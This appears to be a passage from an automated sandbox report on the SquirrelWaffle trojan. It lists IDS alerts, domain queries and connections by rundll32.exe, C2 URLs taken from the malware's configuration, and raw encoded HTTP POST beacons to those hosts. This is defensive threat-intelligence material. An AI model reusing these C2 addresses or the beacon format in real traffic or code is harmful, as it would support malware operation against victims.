Source: Traffic	Snort IDS: 2033982 ET TROJAN SQUIRRELWAFFLE Server Response 198.38.82.168:80 -> 192.168.2.3:50029
Source: Traffic	Snort IDS: 2033984 ET TROJAN Possible SQUIRRELWAFFLE Server Response 198.38.82.168:80 -> 192.168.2.3:50031
Source: Traffic	Snort IDS: 2033982 ET TROJAN SQUIRRELWAFFLE Server Response 198.38.82.168:80 -> 192.168.2.3:50031
Source: Traffic	Snort IDS: 2033984 ET TROJAN Possible SQUIRRELWAFFLE Server Response 198.38.82.168:80 -> 192.168.2.3:50033
Source: Traffic	Snort IDS: 2033982 ET TROJAN SQUIRRELWAFFLE Server Response 198.38.82.168:80 -> 192.168.2.3:50033
Source: Traffic	Snort IDS: 2033984 ET TROJAN Possible SQUIRRELWAFFLE Server Response 198.38.82.168:80 -> 192.168.2.3:50032
Source: Traffic	Snort IDS: 2033982 ET TROJAN SQUIRRELWAFFLE Server Response 198.38.82.168:80 -> 192.168.2.3:50032
Source: Traffic	Snort IDS: 2033984 ET TROJAN Possible SQUIRRELWAFFLE Server Response 198.38.82.168:80 -> 192.168.2.3:50035
Source: Traffic	Snort IDS: 2033982 ET TROJAN SQUIRRELWAFFLE Server Response 198.38.82.168:80 -> 192.168.2.3:50035
Source: Traffic	Snort IDS: 2033984 ET TROJAN Possible SQUIRRELWAFFLE Server Response 198.38.82.168:80 -> 192.168.2.3:50036
Source: Traffic	Snort IDS: 2033982 ET TROJAN SQUIRRELWAFFLE Server Response 198.38.82.168:80 -> 192.168.2.3:50036
Source: Traffic	Snort IDS: 2033984 ET TROJAN Possible SQUIRRELWAFFLE Server Response 198.38.82.168:80 -> 192.168.2.3:50038
Source: Traffic	Snort IDS: 2033982 ET TROJAN SQUIRRELWAFFLE Server Response 198.38.82.168:80 -> 192.168.2.3:50038
Source: Traffic	Snort IDS: 2033984 ET TROJAN Possible SQUIRRELWAFFLE Server Response 198.38.82.168:80 -> 192.168.2.3:50039
Source: Traffic	Snort IDS: 2033982 ET TROJAN SQUIRRELWAFFLE Server Response 198.38.82.168:80 -> 192.168.2.3:50039
Source: Traffic	Snort IDS: 2033984 ET TROJAN Possible SQUIRRELWAFFLE Server Response 198.38.82.168:80 -> 192.168.2.3:50040
Source: Traffic	Snort IDS: 2033982 ET TROJAN SQUIRRELWAFFLE Server Response 198.38.82.168:80 -> 192.168.2.3:50040
Source: Traffic	Snort IDS: 2033984 ET TROJAN Possible SQUIRRELWAFFLE Server Response 198.38.82.168:80 -> 192.168.2.3:50042
Source: Traffic	Snort IDS: 2033982 ET TROJAN SQUIRRELWAFFLE Server Response 198.38.82.168:80 -> 192.168.2.3:50042
Source: Traffic	Snort IDS: 2033984 ET TROJAN Possible SQUIRRELWAFFLE Server Response 198.38.82.168:80 -> 192.168.2.3:50043
Source: Traffic	Snort IDS: 2033982 ET TROJAN SQUIRRELWAFFLE Server Response 198.38.82.168:80 -> 192.168.2.3:50043
Source: Traffic	Snort IDS: 2033984 ET TROJAN Possible SQUIRRELWAFFLE Server Response 198.38.82.168:80 -> 192.168.2.3:50044
Source: Traffic	Snort IDS: 2033982 ET TROJAN SQUIRRELWAFFLE Server Response 198.38.82.168:80 -> 192.168.2.3:50044
Source: Traffic	Snort IDS: 2033984 ET TROJAN Possible SQUIRRELWAFFLE Server Response 198.38.82.168:80 -> 192.168.2.3:50045
Source: Traffic	Snort IDS: 2033982 ET TROJAN SQUIRRELWAFFLE Server Response 198.38.82.168:80 -> 192.168.2.3:50045
Source: Traffic	Snort IDS: 2033984 ET TROJAN Possible SQUIRRELWAFFLE Server Response 198.38.82.168:80 -> 192.168.2.3:50046
Source: Traffic	Snort IDS: 2033982 ET TROJAN SQUIRRELWAFFLE Server Response 198.38.82.168:80 -> 192.168.2.3:50046
Source: Traffic	Snort IDS: 2033984 ET TROJAN Possible SQUIRRELWAFFLE Server Response 198.38.82.168:80 -> 192.168.2.3:50047
Source: Traffic	Snort IDS: 2033982 ET TROJAN SQUIRRELWAFFLE Server Response 198.38.82.168:80 -> 192.168.2.3:50047
Source: Traffic	Snort IDS: 2033984 ET TROJAN Possible SQUIRRELWAFFLE Server Response 198.38.82.168:80 -> 192.168.2.3:50048
Source: Traffic	Snort IDS: 2033982 ET TROJAN SQUIRRELWAFFLE Server Response 198.38.82.168:80 -> 192.168.2.3:50048
Source: Traffic	Snort IDS: 2033984 ET TROJAN Possible SQUIRRELWAFFLE Server Response 198.38.82.168:80 -> 192.168.2.3:50049
Source: Traffic	Snort IDS: 2033982 ET TROJAN SQUIRRELWAFFLE Server Response 198.38.82.168:80 -> 192.168.2.3:50049
Source: Traffic	Snort IDS: 2033984 ET TROJAN Possible SQUIRRELWAFFLE Server Response 198.38.82.168:80 -> 192.168.2.3:50050
Source: Traffic	Snort IDS: 2033982 ET TROJAN SQUIRRELWAFFLE Server Response 198.38.82.168:80 -> 192.168.2.3:50050
Source: Traffic	Snort IDS: 2033984 ET TROJAN Possible SQUIRRELWAFFLE Server Response 198.38.82.168:80 -> 192.168.2.3:50051
Source: Traffic	Snort IDS: 2033982 ET TROJAN SQUIRRELWAFFLE Server Response 198.38.82.168:80 -> 192.168.2.3:50051
Source: Traffic	Snort IDS: 2033984 ET TROJAN Possible SQUIRRELWAFFLE Server Response 198.38.82.168:80 -> 192.168.2.3:50053
Source: Traffic	Snort IDS: 2033982 ET TROJAN SQUIRRELWAFFLE Server Response 198.38.82.168:80 -> 192.168.2.3:50053
Source: Traffic	Snort IDS: 2033984 ET TROJAN Possible SQUIRRELWAFFLE Server Response 198.38.82.168:80 -> 192.168.2.3:50052
Source: Traffic	Snort IDS: 2033982 ET TROJAN SQUIRRELWAFFLE Server Response 198.38.82.168:80 -> 192.168.2.3:50052
Source: Traffic	Snort IDS: 2033984 ET TROJAN Possible SQUIRRELWAFFLE Server Response 198.38.82.168:80 -> 192.168.2.3:50054
Source: Traffic	Snort IDS: 2033982 ET TROJAN SQUIRRELWAFFLE Server Response 198.38.82.168:80 -> 192.168.2.3:50054
Source: Traffic	Snort IDS: 2033984 ET TROJAN Possible SQUIRRELWAFFLE Server Response 198.38.82.168:80 -> 192.168.2.3:50055
Source: Traffic	Snort IDS: 2033982 ET TROJAN SQUIRRELWAFFLE Server Response 198.38.82.168:80 -> 192.168.2.3:50055
Source: Traffic	Snort IDS: 2033984 ET TROJAN Possible SQUIRRELWAFFLE Server Response 198.38.82.168:80 -> 192.168.2.3:50056
Source: Traffic	Snort IDS: 2033982 ET TROJAN SQUIRRELWAFFLE Server Response 198.38.82.168:80 -> 192.168.2.3:50056
Source: Traffic	Snort IDS: 2033984 ET TROJAN Possible SQUIRRELWAFFLE Server Response 198.38.82.168:80 -> 192.168.2.3:50057
Source: Traffic	Snort IDS: 2033982 ET TROJAN SQUIRRELWAFFLE Server Response 198.38.82.168:80 -> 192.168.2.3:50057
Source: Traffic	Snort IDS: 2033984 ET TROJAN Possible SQUIRRELWAFFLE Server Response 198.38.82.168:80 -> 192.168.2.3:50058
Source: Traffic	Snort IDS: 2033982 ET TROJAN SQUIRRELWAFFLE Server Response 198.38.82.168:80 -> 192.168.2.3:50058
Source: Traffic	Snort IDS: 2033984 ET TROJAN Possible SQUIRRELWAFFLE Server Response 198.38.82.168:80 -> 192.168.2.3:50059
Source: Traffic	Snort IDS: 2033982 ET TROJAN SQUIRRELWAFFLE Server Response 198.38.82.168:80 -> 192.168.2.3:50059
Source: Traffic	Snort IDS: 2033984 ET TROJAN Possible SQUIRRELWAFFLE Server Response 198.38.82.168:80 -> 192.168.2.3:50060
Source: Traffic	Snort IDS: 2033982 ET TROJAN SQUIRRELWAFFLE Server Response 198.38.82.168:80 -> 192.168.2.3:50060
Source: Traffic	Snort IDS: 2033984 ET TROJAN Possible SQUIRRELWAFFLE Server Response 198.38.82.168:80 -> 192.168.2.3:50061
Source: Traffic	Snort IDS: 2033982 ET TROJAN SQUIRRELWAFFLE Server Response 198.38.82.168:80 -> 192.168.2.3:50061
Source: Traffic	Snort IDS: 2033984 ET TROJAN Possible SQUIRRELWAFFLE Server Response 198.38.82.168:80 -> 192.168.2.3:50062
Source: Traffic	Snort IDS: 2033982 ET TROJAN SQUIRRELWAFFLE Server Response 198.38.82.168:80 -> 192.168.2.3:50062
Source: Traffic	Snort IDS: 2033984 ET TROJAN Possible SQUIRRELWAFFLE Server Response 198.38.82.168:80 -> 192.168.2.3:50063
Source: Traffic	Snort IDS: 2033982 ET TROJAN SQUIRRELWAFFLE Server Response 198.38.82.168:80 -> 192.168.2.3:50063
Source: Traffic	Snort IDS: 2033984 ET TROJAN Possible SQUIRRELWAFFLE Server Response 198.38.82.168:80 -> 192.168.2.3:50064
Source: Traffic	Snort IDS: 2033982 ET TROJAN SQUIRRELWAFFLE Server Response 198.38.82.168:80 -> 192.168.2.3:50064
Source: Traffic	Snort IDS: 2033984 ET TROJAN Possible SQUIRRELWAFFLE Server Response 198.38.82.168:80 -> 192.168.2.3:50065
Source: Traffic	Snort IDS: 2033982 ET TROJAN SQUIRRELWAFFLE Server Response 198.38.82.168:80 -> 192.168.2.3:50065
Source: Traffic	Snort IDS: 2033984 ET TROJAN Possible SQUIRRELWAFFLE Server Response 198.38.82.168:80 -> 192.168.2.3:50066
Source: Traffic	Snort IDS: 2033982 ET TROJAN SQUIRRELWAFFLE Server Response 198.38.82.168:80 -> 192.168.2.3:50066
Source: Traffic	Snort IDS: 2033984 ET TROJAN Possible SQUIRRELWAFFLE Server Response 198.38.82.168:80 -> 192.168.2.3:50067
Source: Traffic	Snort IDS: 2033982 ET TROJAN SQUIRRELWAFFLE Server Response 198.38.82.168:80 -> 192.168.2.3:50067
Source: Traffic	Snort IDS: 2033984 ET TROJAN Possible SQUIRRELWAFFLE Server Response 198.38.82.168:80 -> 192.168.2.3:50068
Source: Traffic	Snort IDS: 2033982 ET TROJAN SQUIRRELWAFFLE Server Response 198.38.82.168:80 -> 192.168.2.3:50068
Source: Traffic	Snort IDS: 2033984 ET TROJAN Possible SQUIRRELWAFFLE Server Response 198.38.82.168:80 -> 192.168.2.3:50069
Source: Traffic	Snort IDS: 2033982 ET TROJAN SQUIRRELWAFFLE Server Response 198.38.82.168:80 -> 192.168.2.3:50069
Source: Traffic	Snort IDS: 2033984 ET TROJAN Possible SQUIRRELWAFFLE Server Response 198.38.82.168:80 -> 192.168.2.3:50070
Source: Traffic	Snort IDS: 2033982 ET TROJAN SQUIRRELWAFFLE Server Response 198.38.82.168:80 -> 192.168.2.3:50070
Source: Traffic	Snort IDS: 2033984 ET TROJAN Possible SQUIRRELWAFFLE Server Response 198.38.82.168:80 -> 192.168.2.3:50071
Source: Traffic	Snort IDS: 2033982 ET TROJAN SQUIRRELWAFFLE Server Response 198.38.82.168:80 -> 192.168.2.3:50071
Source: Traffic	Snort IDS: 2033984 ET TROJAN Possible SQUIRRELWAFFLE Server Response 198.38.82.168:80 -> 192.168.2.3:50072
Source: Traffic	Snort IDS: 2033982 ET TROJAN SQUIRRELWAFFLE Server Response 198.38.82.168:80 -> 192.168.2.3:50072
Source: Traffic	Snort IDS: 2033984 ET TROJAN Possible SQUIRRELWAFFLE Server Response 198.38.82.168:80 -> 192.168.2.3:50073
Source: Traffic	Snort IDS: 2033982 ET TROJAN SQUIRRELWAFFLE Server Response 198.38.82.168:80 -> 192.168.2.3:50073
Source: Traffic	Snort IDS: 2033984 ET TROJAN Possible SQUIRRELWAFFLE Server Response 198.38.82.168:80 -> 192.168.2.3:50074
Source: Traffic	Snort IDS: 2033982 ET TROJAN SQUIRRELWAFFLE Server Response 198.38.82.168:80 -> 192.168.2.3:50074
Source: Traffic	Snort IDS: 2033984 ET TROJAN Possible SQUIRRELWAFFLE Server Response 198.38.82.168:80 -> 192.168.2.3:50075
Source: Traffic	Snort IDS: 2033982 ET TROJAN SQUIRRELWAFFLE Server Response 198.38.82.168:80 -> 192.168.2.3:50075
Source: Traffic	Snort IDS: 2033984 ET TROJAN Possible SQUIRRELWAFFLE Server Response 198.38.82.168:80 -> 192.168.2.3:50076
Source: Traffic	Snort IDS: 2033982 ET TROJAN SQUIRRELWAFFLE Server Response 198.38.82.168:80 -> 192.168.2.3:50076
Source: Traffic	Snort IDS: 2033984 ET TROJAN Possible SQUIRRELWAFFLE Server Response 198.38.82.168:80 -> 192.168.2.3:50077
Source: Traffic	Snort IDS: 2033982 ET TROJAN SQUIRRELWAFFLE Server Response 198.38.82.168:80 -> 192.168.2.3:50077
Source: Traffic	Snort IDS: 2033984 ET TROJAN Possible SQUIRRELWAFFLE Server Response 198.38.82.168:80 -> 192.168.2.3:50078
Source: Traffic	Snort IDS: 2033982 ET TROJAN SQUIRRELWAFFLE Server Response 198.38.82.168:80 -> 192.168.2.3:50078
Source: Traffic	Snort IDS: 2033984 ET TROJAN Possible SQUIRRELWAFFLE Server Response 198.38.82.168:80 -> 192.168.2.3:50079
Source: Traffic	Snort IDS: 2033982 ET TROJAN SQUIRRELWAFFLE Server Response 198.38.82.168:80 -> 192.168.2.3:50079
Source: Traffic	Snort IDS: 2033984 ET TROJAN Possible SQUIRRELWAFFLE Server Response 198.38.82.168:80 -> 192.168.2.3:50080
Source: Traffic	Snort IDS: 2033982 ET TROJAN SQUIRRELWAFFLE Server Response 198.38.82.168:80 -> 192.168.2.3:50080
Source: Traffic	Snort IDS: 2033984 ET TROJAN Possible SQUIRRELWAFFLE Server Response 198.38.82.168:80 -> 192.168.2.3:50081
Source: Traffic	Snort IDS: 2033982 ET TROJAN SQUIRRELWAFFLE Server Response 198.38.82.168:80 -> 192.168.2.3:50081
Source: Traffic	Snort IDS: 2033984 ET TROJAN Possible SQUIRRELWAFFLE Server Response 198.38.82.168:80 -> 192.168.2.3:50082
Source: Traffic	Snort IDS: 2033982 ET TROJAN SQUIRRELWAFFLE Server Response 198.38.82.168:80 -> 192.168.2.3:50082
Source: Traffic	Snort IDS: 2033984 ET TROJAN Possible SQUIRRELWAFFLE Server Response 198.38.82.168:80 -> 192.168.2.3:50084
Source: Traffic	Snort IDS: 2033982 ET TROJAN SQUIRRELWAFFLE Server Response 198.38.82.168:80 -> 192.168.2.3:50084
Source: Traffic	Snort IDS: 2033984 ET TROJAN Possible SQUIRRELWAFFLE Server Response 198.38.82.168:80 -> 192.168.2.3:50085
Source: Traffic	Snort IDS: 2033982 ET TROJAN SQUIRRELWAFFLE Server Response 198.38.82.168:80 -> 192.168.2.3:50085
Source: Traffic	Snort IDS: 2033984 ET TROJAN Possible SQUIRRELWAFFLE Server Response 198.38.82.168:80 -> 192.168.2.3:50087
Source: Traffic	Snort IDS: 2033982 ET TROJAN SQUIRRELWAFFLE Server Response 198.38.82.168:80 -> 192.168.2.3:50087
Source: Traffic	Snort IDS: 2033984 ET TROJAN Possible SQUIRRELWAFFLE Server Response 198.38.82.168:80 -> 192.168.2.3:50086
Source: Traffic	Snort IDS: 2033982 ET TROJAN SQUIRRELWAFFLE Server Response 198.38.82.168:80 -> 192.168.2.3:50086
Source: Traffic	Snort IDS: 2033984 ET TROJAN Possible SQUIRRELWAFFLE Server Response 198.38.82.168:80 -> 192.168.2.3:50088
Source: Traffic	Snort IDS: 2033982 ET TROJAN SQUIRRELWAFFLE Server Response 198.38.82.168:80 -> 192.168.2.3:50088
Source: Traffic	Snort IDS: 2033984 ET TROJAN Possible SQUIRRELWAFFLE Server Response 198.38.82.168:80 -> 192.168.2.3:50089
Source: Traffic	Snort IDS: 2033982 ET TROJAN SQUIRRELWAFFLE Server Response 198.38.82.168:80 -> 192.168.2.3:50089
Source: Traffic	Snort IDS: 2033984 ET TROJAN Possible SQUIRRELWAFFLE Server Response 198.38.82.168:80 -> 192.168.2.3:50091
Source: Traffic	Snort IDS: 2033982 ET TROJAN SQUIRRELWAFFLE Server Response 198.38.82.168:80 -> 192.168.2.3:50091
Source: Traffic	Snort IDS: 2033984 ET TROJAN Possible SQUIRRELWAFFLE Server Response 198.38.82.168:80 -> 192.168.2.3:50090
Source: Traffic	Snort IDS: 2033982 ET TROJAN SQUIRRELWAFFLE Server Response 198.38.82.168:80 -> 192.168.2.3:50090
Source: Traffic	Snort IDS: 2033984 ET TROJAN Possible SQUIRRELWAFFLE Server Response 198.38.82.168:80 -> 192.168.2.3:50092
Source: Traffic	Snort IDS: 2033982 ET TROJAN SQUIRRELWAFFLE Server Response 198.38.82.168:80 -> 192.168.2.3:50092
Source: Traffic	Snort IDS: 2033984 ET TROJAN Possible SQUIRRELWAFFLE Server Response 198.38.82.168:80 -> 192.168.2.3:50093
Source: Traffic	Snort IDS: 2033982 ET TROJAN SQUIRRELWAFFLE Server Response 198.38.82.168:80 -> 192.168.2.3:50093

System process connects to network (likely due to code injection or exploit)

Show sources

Source: C:\Windows\SysWOW64\rundll32.exe	Domain query: pedroaros.cl
Source: C:\Windows\SysWOW64\rundll32.exe	Domain query: surveillantfire.com
Source: C:\Windows\SysWOW64\rundll32.exe	Domain query: kvrassociates.net
Source: C:\Windows\SysWOW64\rundll32.exe	Network Connect: 185.146.22.232 80	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Network Connect: 192.254.235.244 80	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Network Connect: 198.38.82.168 80	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Domain query: nkp.hr
Source: C:\Windows\SysWOW64\rundll32.exe	Network Connect: 192.185.46.34 80	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Domain query: sologicgroup.com
Source: C:\Windows\SysWOW64\rundll32.exe	Network Connect: 128.0.46.214 80	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Network Connect: 192.185.113.204 80	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Domain query: profitshub.in
Source: C:\Windows\SysWOW64\rundll32.exe	Domain query: ditrpshop.in
Source: C:\Windows\SysWOW64\rundll32.exe	Network Connect: 185.20.51.238 80	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Network Connect: 199.193.116.170 80	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Domain query: marianaleyton.com
Source: C:\Windows\SysWOW64\rundll32.exe	Network Connect: 165.227.90.171 80	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Domain query: hynot-adventures.com
Source: C:\Windows\SysWOW64\rundll32.exe	Domain query: muwatin.net
Source: C:\Windows\SysWOW64\rundll32.exe	Domain query: dhananialegalaid.com
Source: C:\Windows\SysWOW64\rundll32.exe	Network Connect: 51.222.139.54 80	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Network Connect: 103.125.80.58 80	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Network Connect: 185.58.73.28 80	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Network Connect: 67.227.144.24 80	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Domain query: giversherbalproducts.com
Source: C:\Windows\SysWOW64\rundll32.exe	Domain query: baetrading.com
Source: C:\Windows\SysWOW64\rundll32.exe	Domain query: apimar.eu
Source: C:\Windows\SysWOW64\rundll32.exe	Network Connect: 184.168.102.202 80	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Network Connect: 50.87.147.76 80	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Network Connect: 103.50.162.157 80	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Domain query: streamline-trade.com
Source: C:\Windows\SysWOW64\rundll32.exe	Domain query: nitro2point0.com
Source: C:\Windows\SysWOW64\rundll32.exe	Domain query: opulent-imports.com
Source: C:\Windows\SysWOW64\rundll32.exe	Network Connect: 166.62.10.34 80	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Domain query: aulaintelimundo.com

C2 URLs / IPs found in malware configuration

Show sources

Source: Malware configuration extractor	URLs: profitshub.in/eJDLM6siEv
Source: Malware configuration extractor	URLs: hynot-adventures.com/siRmGWRAqRR
Source: Malware configuration extractor	URLs: giversherbalproducts.com/lBawcxb5
Source: Malware configuration extractor	URLs: opulent-imports.com/DlOBqKAf
Source: Malware configuration extractor	URLs: nitro2point0.com/9SqebpSMu
Source: Malware configuration extractor	URLs: streamline-trade.com/7fTwg0V7
Source: Malware configuration extractor	URLs: sologicgroup.com/hWo6FObvrdp
Source: Malware configuration extractor	URLs: pedroaros.cl/gnYxifRY
Source: Malware configuration extractor	URLs: apimar.eu/QFm9qbfjT
Source: Malware configuration extractor	URLs: baetrading.com/IfpAV6qS
Source: Malware configuration extractor	URLs: ditrpshop.in/oHbAKuM0
Source: Malware configuration extractor	URLs: surveillantfire.com/s6ImD3DAJs
Source: Malware configuration extractor	URLs: dhananialegalaid.com/VIVB6kFar
Source: Malware configuration extractor	URLs: aulaintelimundo.com/n1n3Sh4NSO08
Source: Malware configuration extractor	URLs: muwatin.net/IvyhnWs8j
Source: Malware configuration extractor	URLs: nkp.hr/a9TmwEDR
Source: Malware configuration extractor	URLs: kvrassociates.net/Y3kzp0WtE0
Source: Malware configuration extractor	URLs: marianaleyton.com/4ByNgaVdId6

Source: Joe Sandbox View

ASN Name: DIGITALOCEAN-ASNUS DIGITALOCEAN-ASNUS

Source: global traffic	HTTP traffic detected: POST /4ByNgaVdId6/OQsaDixzHTgtfjMcGypGenN5Yn59cmV+YXg= HTTP/1.1Host: marianaleyton.comContent-Length: 76Data Raw: 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 49 3d 0d 0a 0d 0a Data Ascii: fHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkI=
Source: global traffic	HTTP traffic detected: POST /eJDLM6siEv/ASk5Kx0SPR8lJjE5eTg9GkN6dX1le310YXlkeA== HTTP/1.1Host: profitshub.inContent-Length: 76Data Raw: 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 49 3d 0d 0a 0d 0a Data Ascii: fHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkI=
Source: global traffic	HTTP traffic detected: POST /lBawcxb5/fXMKNg0nKzN/DA15DggBI0N6dX1le310YXlkeA== HTTP/1.1Host: giversherbalproducts.comContent-Length: 76Data Raw: 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 49 3d 0d 0a 0d 0a Data Ascii: fHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkI=
Source: global traffic	HTTP traffic detected: POST /4ByNgaVdId6/OQsaDixzHTgtfjMcGypGenN5Yn59cmV+YXg= HTTP/1.1Host: marianaleyton.comContent-Length: 76Data Raw: 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 49 3d 0d 0a 0d 0a Data Ascii: fHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkI=
Source: global traffic	HTTP traffic detected: POST /lBawcxb5/eDkkAA0bInx9RnpzeWJ+fXJlfmF4 HTTP/1.1Host: giversherbalproducts.comContent-Length: 76Data Raw: 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 49 3d 0d 0a 0d 0a Data Ascii: fHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkI=
Source: global traffic	HTTP traffic detected: POST /eJDLM6siEv/ASk5Kx0SPR8lJjE5eTg9GkN6dX1le310YXlkeA== HTTP/1.1Host: profitshub.inContent-Length: 76Data Raw: 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 49 3d 0d 0a 0d 0a Data Ascii: fHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkI=
Source: global traffic	HTTP traffic detected: POST /lBawcxb5/fXMKNg0nKzN/DA15DggBI0N6dX1le310YXlkeA== HTTP/1.1Host: giversherbalproducts.comContent-Length: 76Data Raw: 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 49 3d 0d 0a 0d 0a Data Ascii: fHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkI=
Source: global traffic	HTTP traffic detected: POST /lBawcxb5/LjI+JSoqJQ4lBiwyAhR7KngvHgopKBhFfnJ4ZX15c2R5Ynw= HTTP/1.1Host: giversherbalproducts.comContent-Length: 76Data Raw: 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 49 3d 0d 0a 0d 0a Data Ascii: fHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkI=
Source: global traffic	HTTP traffic detected: POST /lBawcxb5/eDkkAA0bInx9RnpzeWJ+fXJlfmF4 HTTP/1.1Host: giversherbalproducts.comContent-Length: 76Data Raw: 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 49 3d 0d 0a 0d 0a Data Ascii: fHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkI=
Source: global traffic	HTTP traffic detected: POST /lBawcxb5/HDN9NScAAw8PKwEFMi0/JTI5PEZ6c3lifn1yZX5heA== HTTP/1.1Host: giversherbalproducts.comContent-Length: 76Data Raw: 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 49 3d 0d 0a 0d 0a Data Ascii: fHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkI=
Source: global traffic	HTTP traffic detected: POST /lBawcxb5/LjI+JSoqJQ4lBiwyAhR7KngvHgopKBhFfnJ4ZX15c2R5Ynw= HTTP/1.1Host: giversherbalproducts.comContent-Length: 76Data Raw: 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 49 3d 0d 0a 0d 0a Data Ascii: fHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkI=
